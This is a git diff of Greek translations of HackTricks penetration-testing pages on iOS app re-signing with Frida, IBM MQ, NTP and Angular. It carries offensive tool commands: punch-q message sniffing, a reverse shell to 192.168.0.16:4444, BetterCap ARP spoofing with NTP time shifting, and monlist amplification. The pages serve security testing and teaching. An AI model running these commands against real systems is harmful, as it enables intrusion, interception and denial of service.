[https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md index 3fffe0738..2f0234e34 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md +++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md @@ -4,13 +4,12 @@ ## Κύρια ιδέα -Οι εφαρμογές που υπογράφονται με την **εξουσιοδότηση `get_task_allow`** επιτρέπουν σε τρίτες εφαρμογές να εκτελούν μια λειτουργία που ονομάζεται **`task_for_pid()`** με το ID της αρχικής εφαρμογής ως παράμετρο, προκειμένου να αποκτήσουν την θύρα εργασίας πάνω σε αυτή (να είναι σε θέση να την ελέγξουν και να έχουν πρόσβαση στη μνήμη της). +Οι εφαρμογές που υπογράφονται με την **εξουσιοδότηση `get_task_allow`** επιτρέπουν σε τρίτες εφαρμογές να εκτελούν μια λειτουργία που ονομάζεται **`task_for_pid()`** με το ID της διαδικασίας της αρχικής εφαρμογής ως παράμετρο, προκειμένου να αποκτήσουν την θύρα εργασίας πάνω της (να είναι σε θέση να την ελέγξουν και να έχουν πρόσβαση στη μνήμη της). Ωστόσο, δεν είναι τόσο εύκολο όσο το να τραβήξετε το IPA, να το ξαναυπογράψετε με την εξουσιοδότηση και να το επαναφέρετε στη συσκευή σας. Αυτό οφείλεται στην προστασία FairPlay. Όταν αλλάζει η υπογραφή της εφαρμογής, το κλειδί DRM (Digital Rights Management) **ακυρώνεται και η εφαρμογή δεν θα λειτουργήσει**. Με μια παλιά jailbroken συσκευή, είναι δυνατό να εγκαταστήσετε το IPA, **να το αποκρυπτογραφήσετε χρησιμοποιώντας το αγαπημένο σας εργαλείο** (όπως το Iridium ή το frida-ios-dump) και να το τραβήξετε πίσω από τη συσκευή. Ωστόσο, αν είναι δυνατόν, συνιστάται να ρωτήσετε τον πελάτη για το αποκρυπτογραφημένο IPA. - ## Απόκτηση αποκρυπτογραφημένου IPA ### Πάρτε το από την Apple @@ -18,12 +17,11 @@ 1. Εγκαταστήστε την εφαρμογή που θέλετε να δοκιμάσετε στο iPhone 2. Εγκαταστήστε και εκκινήστε το [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) μέσα στο macos σας 3. Ανοίξτε το `Terminal` στο Mac σας και cd στο `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. Το IPA θα εμφανιστεί σε αυτόν τον φάκελο αργότερα. -4. Θα πρέπει να δείτε τη συσκευή iOS σας. Κάντε διπλό κλικ σε αυτήν και στη συνέχεια κάντε κλικ στο Προσθήκη + → Εφαρμογές από την επάνω γραμμή μενού. -5. Αφού κάνετε κλικ στην Προσθήκη, το Configurator θα κατεβάσει το IPA από την Apple και θα προσπαθήσει να το στείλει στη συσκευή σας. Αν ακολουθήσατε τη σύστασή μου νωρίτερα και έχετε ήδη εγκαταστήσει το IPA, θα εμφανιστεί ένα παράθυρο που θα σας ζητά να επανεγκαταστήσετε την εφαρμογή. -6. Το IPA θα πρέπει να έχει κατέβει μέσα στο `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` από όπου μπορείτε να το πάρετε - -Ελέγξτε [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) για περισσότερες λεπτομέρειες σχετικά με αυτή τη διαδικασία. +4. Θα πρέπει να δείτε τη συσκευή iOS σας. Κάντε διπλό κλικ σε αυτήν και στη συνέχεια κάντε κλικ στο Προσθήκη + → Εφαρμογές από την επάνω μπάρα μενού. +5. Μετά την κλικ στο Προσθήκη, το Configurator θα κατεβάσει το IPA από την Apple και θα προσπαθήσει να το στείλει στη συσκευή σας. Αν ακολουθήσατε τη σύστασή μου νωρίτερα και έχετε ήδη εγκαταστήσει το IPA, θα εμφανιστεί ένα παράθυρο που θα σας ζητά να επανεγκαταστήσετε την εφαρμογή. +6. Το IPA θα πρέπει να έχει κατέβει μέσα στο `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` από όπου μπορείτε να το πάρετε. +Δείτε [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) για περισσότερες λεπτομέρειες σχετικά με αυτή τη διαδικασία. ### Αποκρυπτογράφηση της εφαρμογής @@ -51,7 +49,7 @@ ideviceinstaller -i no-min-version.ipa -w ### Patch entitlements & re-sign -Για να επαναυπογράψετε την εφαρμογή με το δικαίωμα `get-task-allow`, υπάρχουν διάφορα εργαλεία διαθέσιμα όπως το `app-signer`, το `codesign` και το `iResign`. Το `app-signer` έχει μια πολύ φιλική προς το χρήστη διεπαφή που επιτρέπει την πολύ εύκολη επαναυπογραφή ενός αρχείου IPA υποδεικνύοντας το IPA που θέλετε να επαναυπογράψετε, να **θέσετε το `get-task-allow`** και το πιστοποιητικό και το προφίλ παροχής που θα χρησιμοποιήσετε. +Για να επαναυπογράψετε την εφαρμογή με το δικαίωμα `get-task-allow`, υπάρχουν διάφορα εργαλεία διαθέσιμα όπως το `app-signer`, το `codesign` και το `iResign`. Το `app-signer` έχει μια πολύ φιλική προς το χρήστη διεπαφή που επιτρέπει να επαναυπογράψετε πολύ εύκολα ένα αρχείο IPA υποδεικνύοντας το IPA που θέλετε να επαναυπογράψετε, να **θέσετε το `get-task-allow`** και το πιστοποιητικό και το προφίλ παροχής που θα χρησιμοποιήσετε. Όσον αφορά το πιστοποιητικό και τα προφίλ υπογραφής, η Apple προσφέρει **δωρεάν προφίλ υπογραφής προγραμματιστών** για όλους τους λογαριασμούς μέσω του Xcode. Απλώς δημιουργήστε μια εφαρμογή και ρυθμίστε ένα. Στη συνέχεια, ρυθμίστε το **iPhone να εμπιστεύεται τις εφαρμογές προγραμματιστών** πηγαίνοντας στις `Ρυθμίσεις` → `Απόρρητο & Ασφάλεια`, και κάντε κλικ στο `Developer Mode`. @@ -92,11 +90,11 @@ objection -g "com.example.target" explore # Or plain Frida frida -U -f com.example.target -l my_script.js --no-pause ``` -Recent Frida releases (>=16) automatically handle pointer authentication and other iOS 17 mitigations, so most existing scripts work out-of-the-box. +Οι πρόσφατες εκδόσεις Frida (>=16) χειρίζονται αυτόματα την πιστοποίηση δεικτών και άλλες μετρήσεις προστασίας του iOS 17, οπότε τα περισσότερα υπάρχοντα σενάρια λειτουργούν αμέσως. -### Automated dynamic analysis with MobSF (no jailbreak) +### Αυτοματοποιημένη δυναμική ανάλυση με MobSF (χωρίς jailbreak) -[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) μπορεί να εργάζεται με ένα dev-signed IPA σε μια πραγματική συσκευή χρησιμοποιώντας την ίδια τεχνική (`get_task_allow`) και παρέχει ένα web UI με εξερευνητή συστήματος αρχείων, καταγραφή κυκλοφορίας και κονσόλα Frida【turn6view0†L2-L3】. Ο γρηγορότερος τρόπος είναι να τρέξετε το MobSF σε Docker και στη συνέχεια να συνδέσετε το iPhone σας μέσω USB: +[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) μπορεί να εργάζεται σε μια υπογεγραμμένη IPA σε πραγματική συσκευή χρησιμοποιώντας την ίδια τεχνική (`get_task_allow`) και παρέχει μια διαδικτυακή διεπαφή με πρόγραμμα περιήγησης συστήματος αρχείων, καταγραφή κυκλοφορίας και κονσόλα Frida【】. Ο γρηγορότερος τρόπος είναι να τρέξετε το MobSF σε Docker και στη συνέχεια να συνδέσετε το iPhone σας μέσω USB: ```bash docker pull opensecurity/mobile-security-framework-mobsf:latest docker run -p 8000:8000 --privileged \ @@ -109,7 +107,7 @@ MobSF θα αναπτύξει αυτόματα το δυαδικό αρχείο, ### iOS 17 & προειδοποιήσεις Λειτουργίας Κλειδώματος * **Λειτουργία Κλειδώματος** (Ρυθμίσεις → Ιδιωτικότητα & Ασφάλεια) μπλοκάρει τον δυναμικό συνδέτη από το να φορτώνει μη υπογεγραμμένες ή εξωτερικά υπογεγραμμένες δυναμικές βιβλιοθήκες. Όταν δοκιμάζετε συσκευές που μπορεί να έχουν αυτή τη λειτουργία ενεργοποιημένη, βεβαιωθείτε ότι είναι **απενεργοποιημένη** ή οι συνεδρίες σας Frida/objection θα τερματιστούν αμέσως. -* Η Αυθεντικοποίηση Δείκτη (PAC) επιβάλλεται σε όλο το σύστημα σε συσκευές A12+. Η Frida ≥16 χειρίζεται διαφανώς την αφαίρεση PAC — απλώς κρατήστε ενημερωμένα τόσο το *frida-server* όσο και την Python/CLI εργαλειοθήκη όταν κυκλοφορεί μια νέα κύρια έκδοση iOS. +* Η Αυθεντικοποίηση Δείκτη (PAC) επιβάλλεται σε όλο το σύστημα σε συσκευές A12+. Η Frida ≥16 διαχειρίζεται διαφανώς την αφαίρεση PAC — απλώς κρατήστε ενημερωμένα τόσο το *frida-server* όσο και την Python/CLI εργαλειοθήκη όταν κυκλοφορεί μια νέα κύρια έκδοση iOS. ## Αναφορές diff --git a/src/network-services-pentesting/1414-pentesting-ibmmq.md b/src/network-services-pentesting/1414-pentesting-ibmmq.md index 675b18e97..e2a75e55c 100644 --- a/src/network-services-pentesting/1414-pentesting-ibmmq.md +++ b/src/network-services-pentesting/1414-pentesting-ibmmq.md @@ -8,9 +8,9 @@ IBM MQ είναι μια τεχνολογία της IBM για τη διαχε Από προεπιλογή, **εκθέτει την TCP θύρα 1414 του IBM MQ**. Μερικές φορές, το HTTP REST API μπορεί να εκτεθεί στην θύρα **9443**. -Οι μετρήσεις (Prometheus) μπορούν επίσης να προσπελαστούν από την TCP θύρα **9157**. +Τα μετρικά (Prometheus) μπορούν επίσης να προσπελαστούν από την TCP θύρα **9157**. -Η TCP θύρα 1414 του IBM MQ μπορεί να χρησιμοποιηθεί για να χειριστεί μηνύματα, ουρές, κανάλια, ... αλλά **και για να ελέγξει την παρουσία**. +Η TCP θύρα 1414 του IBM MQ μπορεί να χρησιμοποιηθεί για να χειριστεί μηνύματα, ουρές, κανάλια, ... αλλά **και για να ελέγξει την instance**. Η IBM παρέχει εκτενή τεχνική τεκμηρίωση διαθέσιμη στο [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq). @@ -46,7 +46,7 @@ sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4. sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm ``` -6. Στη συνέχεια, προσθέστε προσωρινά τα `.so` αρχεία στο LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **πριν** τρέξετε άλλα εργαλεία που χρησιμοποιούν αυτές τις εξαρτήσεις. +6. Στη συνέχεια, προσθέστε προσωρινά τα `.so` αρχεία στο LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **πριν** εκτελέσετε άλλα εργαλεία που χρησιμοποιούν αυτές τις εξαρτήσεις. Στη συνέχεια, μπορείτε να κλωνοποιήσετε το έργο [**pymqi**](https://github.com/dsuch/pymqi): περιέχει ενδιαφέροντα αποσπάσματα κώδικα, σταθερές, ... Ή μπορείτε να εγκαταστήσετε απευθείας τη βιβλιοθήκη με: `pip install pymqi`. @@ -75,7 +75,7 @@ Queue Manager name: MYQUEUEMGR ``` ### Channels -**punch-q** χρησιμοποιεί μια εσωτερική (τροποποιήσιμη) λίστα λέξεων για να βρει υπάρχοντα κανάλια. Παράδειγμα χρήσης: +**punch-q** χρησιμοποιεί μια εσωτερική (τροποποιήσιμη) λίστα λέξεων για να βρει υπάρχοντες καναλιούς. Usage example: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels "DEV.ADMIN.SVRCONN" exists and was authorised. @@ -171,9 +171,9 @@ Showing queues with prefix: "*"... ``` ## Εκμετάλλευση -### Εκφόρτωση μηνυμάτων +### Εκχύλιση μηνυμάτων -Μπορείτε να στοχεύσετε ουρές/κανάλια για να κατασκοπεύσετε/εκφορτώσετε μηνύματα από αυτά (μη καταστροφική λειτουργία). _Παραδείγματα:_ +Μπορείτε να στοχεύσετε ουρές/κανάλια για να κατασκοπεύσετε/εκχυλίσετε μηνύματα από αυτά (μη καταστροφική λειτουργία). _Παραδείγματα:_ ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff ``` @@ -186,9 +186,9 @@ Showing queues with prefix: "*"... ### Εκτέλεση κώδικα > Ορισμένες λεπτομέρειες πριν συνεχίσουμε: Το IBM MQ μπορεί να ελεγχθεί με πολλούς τρόπους: MQSC, PCF, Control Command. Ορισμένες γενικές λίστες μπορούν να βρεθούν στην [τεκμηρίωση του IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison). -> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Programmable Command Formats_**) είναι αυτό στο οποίο εστιάζουμε για να αλληλεπιδράσουμε απομακρυσμένα με την περίπτωση. **punch-q** και περαιτέρω **pymqi** βασίζονται σε αλληλεπιδράσεις PCF. +> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Programmable Command Formats_**) είναι αυτό στο οποίο εστιάζουμε για να αλληλεπιδράσουμε απομακρυσμένα με την περίπτωση. **punch-q** και επιπλέον **pymqi** βασίζονται σε αλληλεπιδράσεις PCF. > -> Μπορείτε να βρείτε μια λίστα εντολών PCF: +> Μπορείτε να βρείτε μια λίστα με τις εντολές PCF: > > - [Από την τεκμηρίωση PCF](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), και > - [από σταθερές](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes). @@ -197,7 +197,7 @@ Showing queues with prefix: "*"... > > Υπάρχει επίσης μια προειδοποίηση για την εντολή στα έγγραφα: _"Προσοχή: Αυτή η εντολή επιτρέπει σε έναν χρήστη να εκτελέσει μια αυθαίρετη εντολή με εξουσία mqm. Εάν παραχωρηθούν δικαιώματα για τη χρήση αυτής της εντολής, ένας κακόβουλος ή απρόσεκτος χρήστης θα μπορούσε να ορίσει μια υπηρεσία που θα βλάψει τα συστήματα ή τα δεδομένα σας, για παράδειγμα, διαγράφοντας απαραίτητα αρχεία."_ > -> _Σημείωση: πάντα σύμφωνα με την τεκμηρίωση του IBM MQ (Administration Reference), υπάρχει επίσης ένα HTTP endpoint στο `/admin/action/qmgr/{qmgrName}/mqsc` για να εκτελέσετε την ισοδύναμη εντολή MQSC για τη δημιουργία υπηρεσίας (`DEFINE SERVICE`). Αυτό το θέμα δεν έχει καλυφθεί ακόμη εδώ._ +> _Σημείωση: πάντα σύμφωνα με την τεκμηρίωση του IBM MQ (Administration Reference), υπάρχει επίσης ένα HTTP endpoint στο `/admin/action/qmgr/{qmgrName}/mqsc` για να εκτελέσετε την αντίστοιχη εντολή MQSC για τη δημιουργία υπηρεσίας (`DEFINE SERVICE`). Αυτό το θέμα δεν έχει καλυφθεί ακόμα εδώ._ Η δημιουργία / διαγραφή υπηρεσίας με PCF για απομακρυσμένη εκτέλεση προγράμματος μπορεί να γίνει με **punch-q**: @@ -241,13 +241,13 @@ _Φυσικά μπορείτε να δημιουργήσετε ένα προσα ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` -Για perl: +Για το perl: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` ### Custom PCF -Μπορείτε να ερευνήσετε την τεκμηρίωση του IBM MQ και να χρησιμοποιήσετε απευθείας τη βιβλιοθήκη **pymqi** της python για να δοκιμάσετε συγκεκριμένη εντολή PCF που δεν έχει υλοποιηθεί στο **punch-q**. +Μπορείτε να ερευνήσετε την τεκμηρίωση του IBM MQ και να χρησιμοποιήσετε απευθείας τη βιβλιοθήκη **pymqi** python για να δοκιμάσετε συγκεκριμένη εντολή PCF που δεν έχει υλοποιηθεί στο **punch-q**. **Example:** ```python @@ -279,7 +279,7 @@ qmgr.disconnect() ``` Αν δεν μπορείτε να βρείτε τα ονόματα σταθερών, μπορείτε να ανατρέξετε στην [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors). -> _Παράδειγμα για [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Δεκαδικό = 73). Χρειάζεται την παράμετρο `MQCA_CLUSTER_NAME` (Δεκαδικό = 2029) η οποία μπορεί να είναι `_` (Έγγραφο: ):\* +> _Παράδειγμα για [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Δεκαδικό = 73). Χρειάζεται την παράμετρο `MQCA_CLUSTER_NAME` (Δεκαδικό = 2029) που μπορεί να είναι `_` (Έγγραφο: ):\* > > ```python > import pymqi @@ -333,4 +333,4 @@ CONTAINER ID IMAGE COMMAND CRE - [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) - [Τεκμηρίωση IBM MQ](https://www.ibm.com/docs/en/ibm-mq) -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md index f4394b729..8da4f886d 100644 --- a/src/network-services-pentesting/pentesting-ntp.md +++ b/src/network-services-pentesting/pentesting-ntp.md @@ -67,7 +67,7 @@ nmap -sU -p123 --script ntp-monlist zgrab2 ntp --monlist --timeout 3 --output-file monlist.json -f "zmap_results.csv" ``` --- -## Εξέταση αρχείων ρυθμίσεων +## Εξέταση αρχείων διαμόρφωσης - ``/etc/ntp.conf`` (ntpd) - ``/etc/chrony/chrony.conf`` (chrony) @@ -92,21 +92,21 @@ zgrab2 ntp --monlist --timeout 3 --output-file monlist.json -f "zmap_results.csv ### 1. Ενίσχυση NTP / Αντανάκλαση -Το legacy Mode-7 ``monlist`` query επιστρέφει έως **600 διευθύνσεις host** και είναι ακόμα παρόν σε χιλιάδες διακομιστές στο Διαδίκτυο. Επειδή η απάντηση (428-468 bytes/καταχώρηση) είναι *~ 200×* μεγαλύτερη από το αίτημα 8 bytes, ένας επιτιθέμενος μπορεί να φτάσει σε παράγοντες ενίσχυσης τριών ψηφίων. Μετριαστικά μέτρα: +Το legacy Mode-7 ``monlist`` ερώτημα επιστρέφει έως **600 διευθύνσεις φιλοξενουμένων** και είναι ακόμα παρόν σε χιλιάδες διακομιστές στο Διαδίκτυο. Επειδή η απάντηση (428-468 bytes/καταχώρηση) είναι *~ 200×* μεγαλύτερη από το αίτημα 8 bytes, ένας επιτιθέμενος μπορεί να φτάσει σε παράγοντες ενίσχυσης τριών ψηφίων. Μετριασμοί: - Αναβαθμίστε σε ntp 4.2.8p15+ και **προσθέστε** ``disable monitor``. - Περιορίστε την ταχύτητα UDP/123 στην άκρη ή ενεργοποιήστε *sessions-required* σε συσκευές DDoS. - Ενεργοποιήστε το *BCP 38* φιλτράρισμα εξόδου για να αποκλείσετε την παραποίηση πηγής. -Δείτε το άρθρο του κέντρου μάθησης της Cloudflare για μια αναλυτική περιγραφή βημάτων. +Δείτε το άρθρο του κέντρου μάθησης της Cloudflare για μια αναλυτική περιγραφή. ### 2. Επιθέσεις Χρονικής Μετατόπισης / Καθυστέρησης (έρευνα Khronos / Chronos) -Ακόμα και με αυθεντικοποίηση, ένας επιτιθέμενος εντός της διαδρομής μπορεί σιωπηλά να **μετατοπίσει το ρολόι του πελάτη** ρίχνοντας/καθυστερώντας πακέτα. Το σχέδιο **Khronos (πρώην Chronos)** της IETF προτείνει την ερώτηση ενός ποικίλου συνόλου διακομιστών στο παρασκήνιο και την επαλήθευση του αποτελέσματος για να ανιχνεύσει μια μετατόπιση > 𝚡 ms. Ο σύγχρονος chrony (4.4+) ήδη εφαρμόζει ένα παρόμοιο φίλτρο εγκυρότητας (``maxdistance`` / ``maxjitter``). +Ακόμα και με αυθεντικοποίηση, ένας επιτιθέμενος εντός της διαδρομής μπορεί σιωπηλά να **μετατοπίσει το ρολόι του πελάτη** ρίχνοντας/καθυστερώντας πακέτα. Το σχέδιο **Khronos (πρώην Chronos)** της IETF προτείνει την ερώτηση ενός ποικιλόμορφου συνόλου διακομιστών στο παρασκήνιο και την επαλήθευση του αποτελέσματος για να ανιχνεύσει μια μετατόπιση > 𝚡 ms. Ο σύγχρονος chrony (4.4+) ήδη εφαρμόζει ένα παρόμοιο φίλτρο εγκυρότητας (``maxdistance`` / ``maxjitter``). ### 3. Κατάχρηση NTS & έκθεση 4460/tcp -Το NTS μεταφέρει την βαριά κρυπτογράφηση σε ένα ξεχωριστό **TLS 1.3 κανάλι στην 4460/tcp** (``ntske/1``). Κακές υλοποιήσεις (βλ. CVE-2023-33192) καταρρέουν κατά την ανάλυση cookies ή επιτρέπουν αδύναμους κρυπτογραφικούς αλγόριθμους. Οι pentesters θα πρέπει: +Το NTS μεταφέρει την βαριά κρυπτογράφηση σε ένα ξεχωριστό **κανάλι TLS 1.3 στην 4460/tcp** (``ntske/1``). Κακές υλοποιήσεις (βλ. CVE-2023-33192) καταρρέουν κατά την ανάλυση cookies ή επιτρέπουν αδύναμους κρυπτογραφικούς αλγόριθμους. Οι pentesters θα πρέπει: ```bash # TLS reconnaissance nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert @@ -121,11 +121,11 @@ openssl s_client -connect :4460 -alpn ntske/1 -tls1_3 -ign_eof *Οι χειριστές ΠΡΕΠΕΙ:* -1. Να χρησιμοποιούν **≥ 4** ανεξάρτητες, ποικιλόμορφες πηγές χρόνου (δημόσιες πισίνες, GPS, γέφυρες PTP) για να αποφευχθεί η δηλητηρίαση από μία μόνο πηγή. +1. Να χρησιμοποιούν **≥ 4** ανεξάρτητες, ποικιλόμορφες πηγές χρόνου (δημόσιες πισίνες, GPS, PTP-γέφυρες) για να αποφευχθεί η δηλητηρίαση από μία μόνο πηγή. 2. Να ενεργοποιούν τους περιορισμούς ``kod`` και ``limited``/``nomodify`` ώστε οι κακόβουλοι πελάτες να λαμβάνουν πακέτα περιορισμού **Kiss-o'-Death** αντί για πλήρεις απαντήσεις. 3. Να παρακολουθούν τα αρχεία καταγραφής του δαίμονα για γεγονότα **panic** ή ρυθμίσεις βημάτων > 1000 s. (Υπογραφές επίθεσης σύμφωνα με το RFC 8633 §5.3.) 4. Να εξετάσουν το **leap-smear** για να αποφευχθούν οι διακοπές δευτερολέπτων, αλλά να διασφαλίσουν ότι *όλοι* οι downstream πελάτες χρησιμοποιούν το ίδιο παράθυρο smear. -5. Να διατηρούν την αναζήτηση ≤24 h ώστε να μην χάνονται οι σημαίες δευτερολέπτου. +5. Να διατηρούν την αναζήτηση ≤24 h ώστε να μην χάνονται οι σημαίες δευτερολέπτων. Δείτε το RFC 8633 για μια ολοκληρωμένη λίστα ελέγχου. @@ -143,7 +143,7 @@ port:4460 "ntske" # NTS-KE |------|---------|---------| | ``ntpwn`` | Script-kiddie wrapper για να ψεκάσει monlist & peers queries | ``python ntpwn.py --monlist targets.txt`` | | **zgrab2 ntp** | Μαζική σάρωση / JSON έξοδος συμπεριλαμβανομένης της σημαίας monlist | Δείτε την παραπάνω εντολή | -| ``chronyd`` με ``allow`` | Εκτέλεση κακόβουλου NTP server σε pentest εργαστήριο | ``chronyd -q 'server 127.127.1.0 iburst'`` | +| ``chronyd`` με ``allow`` | Εκτέλεση κακόβουλου NTP server σε περιβάλλον pentest | ``chronyd -q 'server 127.127.1.0 iburst'`` | | ``BetterCap`` | Εισαγωγή NTP πακέτων για MITM με μετατόπιση χρόνου σε Wi-Fi | ``set arp.spoof.targets ; set ntp.time.delta 30s; arp.spoof on`` | --- @@ -179,4 +179,4 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru - Σχέδιο Khronos/Chronos (μείωση μετατόπισης χρόνου) - chronyc εγχειρίδιο/παραδείγματα για απομακρυσμένη παρακολούθηση - zgrab2 ntp module docs -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md index 7593a8c68..0dad9b188 100644 --- a/src/network-services-pentesting/pentesting-web/angular.md +++ b/src/network-services-pentesting/pentesting-web/angular.md @@ -1,6 +1,6 @@ # Angular -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## The Checklist @@ -16,7 +16,7 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist). ## What is Angular -Το Angular είναι ένα **ισχυρό** και **ανοιχτού κώδικα** framework front-end που διατηρείται από την **Google**. Χρησιμοποιεί **TypeScript** για να βελτιώσει την αναγνωσιμότητα του κώδικα και την αποσφαλμάτωση. Με ισχυρούς μηχανισμούς ασφαλείας, το Angular αποτρέπει κοινές ευπάθειες πλευράς πελάτη όπως **XSS** και **ανοιχτές ανακατευθύνσεις**. Μπορεί να χρησιμοποιηθεί και στην **πλευρά του διακομιστή**, καθιστώντας τις παρατηρήσεις ασφαλείας σημαντικές από **και τις δύο πλευρές**. +Το Angular είναι ένα **ισχυρό** και **ανοιχτού κώδικα** framework front-end που διατηρείται από την **Google**. Χρησιμοποιεί **TypeScript** για να βελτιώσει την αναγνωσιμότητα του κώδικα και την αποσφαλμάτωση. Με ισχυρούς μηχανισμούς ασφαλείας, το Angular αποτρέπει κοινές ευπάθειες πλευράς πελάτη όπως **XSS** και **ανοιχτές ανακατευθύνσεις**. Μπορεί να χρησιμοποιηθεί και στην **πλευρά του διακομιστή**, καθιστώντας τις παραμέτρους ασφαλείας σημαντικές από **και τις δύο πλευρές**. ## Framework architecture @@ -41,17 +41,17 @@ my-workspace/ ├── angular.json #provides workspace-wide and project-specific configuration defaults └── tsconfig.json #provides the base TypeScript configuration for projects in the workspace ``` -Σύμφωνα με την τεκμηρίωση, κάθε εφαρμογή Angular έχει τουλάχιστον ένα συστατικό, το ριζικό συστατικό (`AppComponent`) που συνδέει μια ιεραρχία συστατικών με το DOM. Κάθε συστατικό ορίζει μια κλάση που περιέχει δεδομένα και λογική της εφαρμογής και σχετίζεται με ένα HTML template που ορίζει μια προβολή που θα εμφανίζεται σε ένα στοχευμένο περιβάλλον. Ο διακοσμητής `@Component()` αναγνωρίζει την κλάση αμέσως από κάτω του ως συστατικό και παρέχει το template και σχετικές μεταδεδομένες πληροφορίες που είναι συγκεκριμένες για το συστατικό. Το `AppComponent` ορίζεται στο αρχείο `app.component.ts`. +Σύμφωνα με την τεκμηρίωση, κάθε εφαρμογή Angular έχει τουλάχιστον ένα συστατικό, το ριζικό συστατικό (`AppComponent`) που συνδέει μια ιεραρχία συστατικών με το DOM. Κάθε συστατικό ορίζει μια κλάση που περιέχει δεδομένα και λογική της εφαρμογής, και σχετίζεται με ένα HTML πρότυπο που ορίζει μια προβολή που θα εμφανίζεται σε ένα στοχευμένο περιβάλλον. Ο διακοσμητής `@Component()` προσδιορίζει την κλάση αμέσως από κάτω του ως συστατικό και παρέχει το πρότυπο και σχετικές μεταδεδομένες πληροφορίες που είναι συγκεκριμένες για το συστατικό. Το `AppComponent` ορίζεται στο αρχείο `app.component.ts`. -Τα Angular NgModules δηλώνουν ένα πλαίσιο μεταγλώττισης για ένα σύνολο συστατικών που είναι αφιερωμένο σε έναν τομέα εφαρμογής, μια ροή εργασίας ή ένα στενά σχετιζόμενο σύνολο δυνατοτήτων. Κάθε εφαρμογή Angular έχει ένα ριζικό module, που ονομάζεται συμβατικά `AppModule`, το οποίο παρέχει τον μηχανισμό εκκίνησης που εκκινεί την εφαρμογή. Μια εφαρμογή περιέχει συνήθως πολλά λειτουργικά modules. Το `AppModule` ορίζεται στο αρχείο `app.module.ts`. +Τα Angular NgModules δηλώνουν ένα πλαίσιο μεταγλώττισης για ένα σύνολο συστατικών που είναι αφιερωμένο σε έναν τομέα εφαρμογής, μια ροή εργασίας ή ένα στενά σχετιζόμενο σύνολο δυνατοτήτων. Κάθε εφαρμογή Angular έχει μια ριζική μονάδα, που ονομάζεται συμβατικά `AppModule`, η οποία παρέχει τον μηχανισμό εκκίνησης που εκκινεί την εφαρμογή. Μια εφαρμογή συνήθως περιέχει πολλές λειτουργικές μονάδες. Το `AppModule` ορίζεται στο αρχείο `app.module.ts`. -Το Angular `Router` NgModule παρέχει μια υπηρεσία που σας επιτρέπει να ορίσετε μια διαδρομή πλοήγησης μεταξύ των διαφορετικών καταστάσεων εφαρμογής και ιεραρχιών προβολών στην εφαρμογή σας. Το `RouterModule` ορίζεται στο αρχείο `app-routing.module.ts`. 